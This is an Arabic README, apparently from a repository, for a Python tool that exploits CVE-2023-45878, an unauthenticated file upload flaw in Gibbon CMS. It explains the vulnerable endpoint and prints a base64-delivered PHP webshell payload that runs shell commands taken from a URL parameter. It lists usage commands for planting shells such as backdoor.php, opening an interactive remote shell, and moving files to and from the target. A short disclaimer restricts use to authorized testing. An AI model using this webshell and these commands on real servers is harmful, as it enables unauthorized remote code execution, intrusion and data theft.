
أداة استغلال آلية بلغة بايثون لثغرة CVE-2023-45878، وهي ثغرة رفع ملفات غير مصادق عليها في نظام Gibbon CMS، مما يتيح تنفيذ تعليمات برمجية عن بُعد عبر نشر قشرة ويب بلغة PHP مع صدفة تفاعلية وقدرات نقل الملفات.
يقوم هذا السكريبت بلغة بايثون باستغلال الثغرة CVE-2023-45878، وهي ثغرة رفع ملفات عشوائية بدون مصادقة في نسخ Gibbon CMS 25.0.1 وما قبلها، مما يؤدي إلى تنفيذ أوامر عن بُعد (RCE).
توجد الثغرة CVE-2023-45878 في النقطة النهائية rubrics_visualise_saveAjax.php لنظام Gibbon CMS. هذه النقطة النهائية ضعيفة لأنها لا تتطلب مصادقة وتسمح بكتابة ملفات عشوائية.
تنشأ الثغرة مما يلي:
modules/Rubrics/rubrics_visualise_saveAjax.php دون أي مصادقة.img و path و gibbonPersonID.
img على بيانات منسقة بشكل خاص، حيث أن الجزء بعد الفاصلة هو سلسلة مشفرة بـ base64.path، إن تم توفيره، كاسم الملف الوجهة للملف المرفوع، نسبيًا لدليل تثبيت Gibbon.img وكتابته إلى ملف محدد بواسطة باراميتر path.img ضار يحتوي على كود PHP مشفر بـ base64 (مثل <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>) وتحديد path ينتج ملف .php يمكن الوصول إليه عبر خادم الويب، يمكن للمهاجم رفع قشرة ويب (webshell) PHP وتحقيق تنفيذ أوامر عن بُعد على الخادم الضعيف.يقوم هذا السكريبت بلغة بايثون بأتمتة استغلال الثغرة CVE-2023-45878. يقوم بالإجراءات التالية:
modules/Rubrics/rubrics_visualise_saveAjax.php لرفع قشرة ويب PHP. حمولة القشرة هي <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>، حيث {VERIFY_TAG} هو علامة قابلة للتخصيص. يتم تشفير الحمولة بـ base64 وإرسالها ضمن باراميتر img.cmd=echo) والتحقق من وجود VERIFY_TAG في الرد. كما يقوم بإجراء فحص مسبق لوجود قشرة موجودة إذا تم استخدام خيارات مثل --verify أو --interactive.user@host:cwd$).cd لتغيير دليل العمل البعيد.python3 exploit.py <target_url> [options]
الوسائط:
target_url: عنوان URL الأساسي لنظام Gibbon CMS الهدف. سيقوم السكريبت بإضافة http:// إذا لم يتم توفير مخطط، وسيضمن وجود شرطة مائلة في النهاية (مثل http://example.com/gibbon أو example.com/gibbon).الخيارات:
-s <shell_path>, --shell-path <shell_path>:
تحديد المسار واسم الملف المطلوبين للقشرة المرفوعة (مثل shell.php، uploads/shell.php).
إذا تم حذفه، سيتم إنشاء اسم ملف عشوائي مكون من 8 أحرف بامتداد .php في الدليل الأساسي لـ Gibbon.
تحذير: تأكد من أن المسار المحدد قابل للكتابة من قبل خادم الويب ويمكن الوصول إليه عبر الويب.-v, --verify:
بعد محاولة رفع القشرة، تحقق من أنها تعمل. يؤدي هذا الخيار أيضًا إلى تشغيل فحص مسبق لمعرفة ما إذا كانت قشرة بالاسم والعلامة المحددين موجودة بالفعل؛ إذا كانت موجودة، يتم تخطي الرفع.-i, --interactive:
الدخول في وضع القشرة التفاعلي. إذا لم تكن القشرة موجودة بالفعل (تم التحقق منه بواسطة فحص مسبق)، سيتم رفعها والتحقق منها أولاً.-t <tag>, --tag <tag>:
تحديد علامة ثابتة مخصصة تستخدم في حمولة القشرة لأغراض التحقق. (الافتراضي: ExploitGibbon).أمثلة:
استغلال أساسي مع اسم قشرة عشوائي في الدليل الرئيسي لـ Gibbon وعلامة افتراضية:
python3 exploit.py http://target.com/gibbon/
استغلال، تحديد اسم ملف القشرة my_shell.php في الدليل الرئيسي لـ Gibbon وعلامة افتراضية:
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
استغلال، رفع القشرة باسم ملف backdoor.php إلى uploads/، والتحقق منها، واستخدام علامة مخصصة:
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
استغلال، رفع القشرة، والدخول في وضع تفاعلي مع علامة افتراضية ومهلة 30 ثانية:
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
الدخول في وضع تفاعلي مع قشرة موجودة (سيقوم السكريبت بالفحص المسبق لوجودها):
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
فقط تحقق مما إذا كانت قشرة باسم existing_shell.php بالعلامة الافتراضية نشطة (سيحاول الرفع إذا لم يتم العثور عليها):
dataclasses، pathlib)requests: التثبيت باستخدام pip install requestsrich: التثبيت باستخدام pip install richprompt_toolkit (اختياري، للوضع التفاعلي المحسّن): التثبيت باستخدام pip install prompt_toolkitتم توفير هذا السكريبت لأغراض تعليمية واختبار أمني فقط. استخدمه على مسؤوليتك الخاصة وفقط ضد الأنظمة التي لديك إذن صريح باختبارها. المؤلف غير مسؤول عن أي سوء استخدام أو ضرر يسببه هذا السكريبت. استغلال الثغرات دون إذن هو غير قانوني وغير أخلاقي.
!help: يعرض المساعدة للأوامر التفاعلية.!upload <local_path> [remote_path]: يرفع ملفًا محليًا إلى الخادم الهدف عبر القشرة.!download <remote_path> [local_path]: ينزل ملفًا من الخادم الهدف.!lcd <path>: يغير دليل العمل المحلي الحالي.!ldir [path]: يسرد الملفات والدلائل في دليل العمل المحلي الحالي أو المسار المحدد.prompt_toolkit إذا كانت متاحة لتجربة سطر أوامر محسّنة (تاريخ، تحرير أفضل)، وإلا يتراجع إلى دالة input() المدمجة في بايثون.!upload التفاعلي استخدام النقطة النهائية الضعيفة لكتابة ملفات عشوائية، بينما يستخدم أمر !download أوامر النظام المنفذة عبر القشرة (مثل base64 أو [Convert]::ToBase64String في PowerShell) لاسترداد محتوى الملف.--timeout <timeout>:
تعيين مهلة طلب HTTP بالثواني. (الافتراضي: 20).python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v